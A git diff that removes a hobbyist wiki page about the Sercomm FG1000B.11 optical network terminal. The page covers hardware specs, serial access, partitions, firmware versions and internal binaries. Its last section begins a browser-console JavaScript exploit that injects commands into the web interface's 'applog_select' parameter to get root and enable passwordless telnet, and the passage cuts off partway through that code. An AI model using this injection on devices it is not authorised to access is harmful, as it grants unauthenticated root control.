diff --git a/_ont/ont-sercomm-fg1000b-11.md b/_ont/ont-sercomm-fg1000b-11.md index 37fb1e16..9dbe66fc 100644 --- a/_ont/ont-sercomm-fg1000b-11.md +++ b/_ont/ont-sercomm-fg1000b-11.md @@ -1,345 +1,7 @@ ---- -title: Sercomm FG1000B.11 -has_children: false -layout: default -parent: Sercomm ---- - -# Hardware Specifications - -| | | -| --------------- | ---------------------- | -| Vendor/Brand | Sercomm | -| Model | FG1000B.11 | -| ODM | ✅ | -| Chipset | BCM68360_B1 | -| Flash | NAND 128 MB | -| RAM | 256 MB | -| CPU | Broadcom B53 Dual Core | -| CPU Clock | 1500MHz | -| Bootloader | CFE | -| Load addr | 0x80000 | -| 2.5GBaseT | Yes | -| PHY Ethernet | RTL8221B | -| Optics | LC/APC | -| IP address | 192.168.100.1/24 | -| Web Gui | ✅, no login needed | -| SSH | No | -| Telnet | No | -| Serial | ✅, only TX | -| Serial baud | 115200 | -| Serial encoding | 8-N-1 | -| Form Factor | ONT | - - -{% include image.html file="fg1000b-11_rear.jpg" alt="Sercomm FG1000B.11" caption="Sercomm FG1000B.11 rear" %} -{% include image.html file="fg1000b-11_bottom.jpg" alt="Sercomm FG1000B.11 bottom" caption="Sercomm FG1000B.11 bottom" %} -{% include image.html file="fg1000b-11_side1.jpg" alt="Sercomm FG1000B.11 side 1" caption="Sercomm FG1000B.11 side 1" %} -{% include image.html file="fg1000b-11_side2.jpg" alt="Sercomm FG1000B.11 side 2" caption="Sercomm FG1000B.11 side 2" %} - -## Serial - -See side2 picture for pin identification, use 112500 8-N-1 -The ONT seems to only display output of the ROM CFE and flash CFE, but doesn't seem to allow interrupting the boot. - -{% include serial_dump.html file="fg1000b-11_boot_cfe.txt" alt="Sercomm FG1000B.11 CFE boot dump" title="Sercomm FG1000B.11 CFE boot dump" %} - -## Root procedure -[See the enable telnet/ssh section](/ont-sercomm-fg1000b-11/#enable-telnetsshserial) - -## List of software versions - -| Firmware version | Firmware date | -| ---------------- | ------------- | -| 090144.1.0.001 | ? | -| 090144.1.0.006 | ? | -| 090144.1.0.009 | 23.05.25 | - - -## List of partitions -`cat /proc/mtd` - -| dev: | size | erasesize | name | -| ------ | -------- | --------- | -------------------- | -| mtd0: | 00200000 | 00020000 | "CfeROM | -| mtd1: | 00400000 | 00020000 | "CfeRAM1 | -| mtd2: | 00400000 | 00020000 | "CfeRAM2 | -| mtd3: | 000a0000 | 00020000 | "FlashMAP | -| mtd4: | 000a0000 | 00020000 | "SN | -| mtd5: | 00140000 | 00020000 | "Protect | -| mtd6: | 01b80000 | 00020000 | "Rootfs1 | -| mtd7: | 00c80000 | 00020000 | "Lib1 | -| mtd8: | 01b80000 | 00020000 | "Rootfs2 | -| mtd9: | 00c80000 | 00020000 | "Lib2 | -| mtd10: | 000a0000 | 00020000 | "Bootflg | -| mtd11: | 000a0000 | 00020000 | "Rootfs1_Info | -| mtd12: | 000a0000 | 00020000 | "Lib1_Info | -| mtd13: | 000a0000 | 00020000 | "Rootfs2_Info | -| mtd14: | 000a0000 | 00020000 | "Lib2_Info | -| mtd15: | 00280000 | 00020000 | "XMLConfig | -| mtd16: | 00280000 | 00020000 | "Erasable_XML_CFG | -| mtd17: | 00960000 | 00020000 | "AppData | -| mtd18: | 00140000 | 00020000 | "Yaffs | -| mtd19: | 010c0000 | 00020000 | "Reserve | -| mtd20: | 00930000 | 0001f000 | "rootfs_ubifs | -| mtd21: | 0029bf98 | 0001f000 | "filestruct_full.bin | -| mtd22: | 003bd000 | 0001f000 | "lib_squashfs | - -# Useful files and binaries - -{% include alert.html content="NAND MTD5 mounted as `/tmp/var_link_dir/ft` contains all serial numbers and the MAC address of the ONT, please consider backing it up before performing any hack, files are: `customer_sn,gpon_sn,hw_version,mac_addr,pcba_sn`" alert="Warning" icon="svg-warning" color="red" %} - -{% include alert.html content="Calling the `board_init` binary directly or indirectly (via init script) when the board is already booted will cause NAND mtd 5, 15, 16 & 17 to be erased! -Please back them up before any hacking! Recovery is possible if you hardware reset the device, enable the telnet and recreate the `customer_sn, gpon_sn, hw_version, mac_addr, pcba_sn` file on the `/tmp/var_link_dir/ft` volume which can be remounted as R/W `mount -o remount,rw /dev/mtdblock5 /tmp/var_link_dir/ft`." alert="Warning" icon="svg-warning" color="red" %} - -## Useful files -* `/etc/framework_init.sh` - is the main entry for the launch of the Sercomm framework by `/etc/rcS` - -## Useful binaries -* `pb_ap` - monitors the `reset button`. If the button is pushed for longer than 10s it resets the ONT to factory default, otherwise it only reboots the device - Run at startup - no args - -* `fw_image_ctl` - allows firmware upgrade, switch between `fw0` & `fw1`,reading firmware info, replicating between fw, deactivating image etc... - Options listed when called with no args - -* `cmld_client`- manipulates the configuration 'DB' stored in /dev/mtd15, its output is in the XML format. The root element is "InternetGatewayDevice". A final '.' dot is needed to list all sub-elements. Example to get the device's full XML config ```cmld_client get_node InternetGatewayDevice.```. Listed elements with `writable="1"` can be changed with `set` and the node path. Elements marked as `dynamic="1"` have their value evaluated at the time you specifically call get on that specific node, `cmld_client get InternetGatewayDevice.WANDevice.1.X_SC_GponInterfaceConfig.Status` - The daemon is run at startup - options listed when called with no args - -* `cmd_agent` - strange daemon launched at startup during `/etc/rcS` that opens a `/tmp/cmd_client` sock file that listens to commands and executes them. - No args - -* `statd` - daemon launched at boot which collects monitoring data from the ONT. - No args - -* `ubusd` - ubusd is used to send message between processes, current ubus services are `cml,network-manager,smd` - -* `smd` - daemon in charge of launching the `/opt/` plugin for each of the ONT's service like: `init, gpon, iptv, temperature, account, http, lan, network, syslog, system`. All is done in code which does not help hacking the device. - -# Usage - -## Enabling telnet/SSH/serial - -The code below can be pasted in the browser's console after opening `http://192.168.100.1` (default ONT's web UI). This will enable telnet as root with no password on the device (same can be done with `/usr/sbin/sshd` binary). The below hack uses an injection on the `eventlog_applog_download.json` page, the commands can be injected in the request body's `applog_select` parameter and they are executed as superadmin (root). -```javascript -// Fetch a non csrf protected page to get a csrf token -await fetch("http://192.168.100.1/setup.cgi?next_file=statusandsupport/status.html").then(function (response) { - return response.text(); -}).then(function (html) { - //inject the html response into a HTML DOM to parse it - var el = document.createElement( 'html' ); - el.innerHTML = html; - //The token is inserted into the first